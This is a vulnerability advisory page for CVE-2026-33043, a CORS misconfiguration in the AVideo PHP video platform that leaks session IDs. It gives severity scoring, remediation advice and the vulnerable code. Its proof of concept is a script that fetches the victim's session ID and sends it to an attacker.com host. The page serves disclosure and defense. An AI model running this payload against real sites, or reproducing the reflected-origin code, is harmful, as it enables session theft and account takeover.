What is the CVSS score of CVE-2026-33043?

CVE-2026-33043 has a CVSS 3.1 base score of 8.1 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N. EPSS exploitation probability: 0.0%.

Which versions of PHP are affected by CVE-2026-33043?

AVideo installations are vulnerable to complete account takeover of any user, including administrators, if victims visit an attacker-controlled website while logged in.. A patch is available.

How to fix or mitigate CVE-2026-33043?

Within 24 hours: Identify all AVideo instances in your environment and assess active user bases; notify users of the risk and recommend logout. Within 7 days: Apply the available vendor patch to all AVideo installations and verify successful deployment. Within 30 days: Conduct post-incident review, audit session logs for suspicious activity during the vulnerability window, and implement security monitoring for CORS-related anomalies.

PHP CVE-2026-33043

HIGH

Permissive Cross-domain Security Policy with Untrusted Domains (CWE-942)

2026-03-17 https://github.com/WWBN/AVideo

GHSA-qc3p-398r-p59j

PHP Information Disclosure Cors Misconfiguration

8.1

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

8.1 HIGH

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

None

Lifecycle Timeline

Analysis Generated

Mar 17, 2026 - 20:30 vuln.today

Patch released

Mar 17, 2026 - 20:30 nvd

Patch available

CVE Published

Mar 17, 2026 - 19:52 nvd

HIGH 8.1

DescriptionGitHub Advisory

Summary

/objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.

Details

File: objects/phpsessionid.json.php

php

allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);

No authentication is required. The allowOrigin() function in objects/functions.php (line ~2648) reflects the request Origin:

php

$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");

This means any external website can make a credentialed cross-origin request and read the session ID.

PoC

An attacker hosts the following page:

html

<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
  credentials: 'include'
})
.then(r => r.json())
.then(d => {
  // d.phpsessid = victim's session ID
  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>

When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.

Impact

Account Takeover - Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.

AnalysisAI

AVideo (WWBN_AVideo) contains a critical CORS misconfiguration vulnerability that exposes PHP session IDs to any unauthenticated external website, enabling complete account takeover of any logged-in user including administrators. The vulnerability has a working proof-of-concept exploit and requires only that a victim visit an attacker-controlled webpage while logged into AVideo, making it highly exploitable with an 8.1 CVSS score.

Technical ContextAI

The vulnerability exists in AVideo (CPE: pkg:composer/wwbn_avideo), an open-source video platform built in PHP. The root cause is a CWE-942 (Permissive Cross-domain Policy with Credentials) flaw where the /objects/phpsessionid.json.php endpoint explicitly returns the current PHP session ID without authentication, while the allowOrigin() function reflects any Origin header in the Access-Control-Allow-Origin response header with credentials enabled. This violates same-origin policy protections and allows cross-origin requests to read sensitive session data that should be isolated to the application's domain.

RemediationAI

Apply the vendor-provided patch available at https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930 which addresses the CORS misconfiguration. Until patching is possible, implement a web application firewall rule to block external access to /objects/phpsessionid.json.php or configure the web server to deny requests to this endpoint from non-local origins. Additionally, implement SameSite cookie attributes on session cookies as a defense-in-depth measure. Full remediation details are available in the GitHub advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-qc3p-398r-p59j.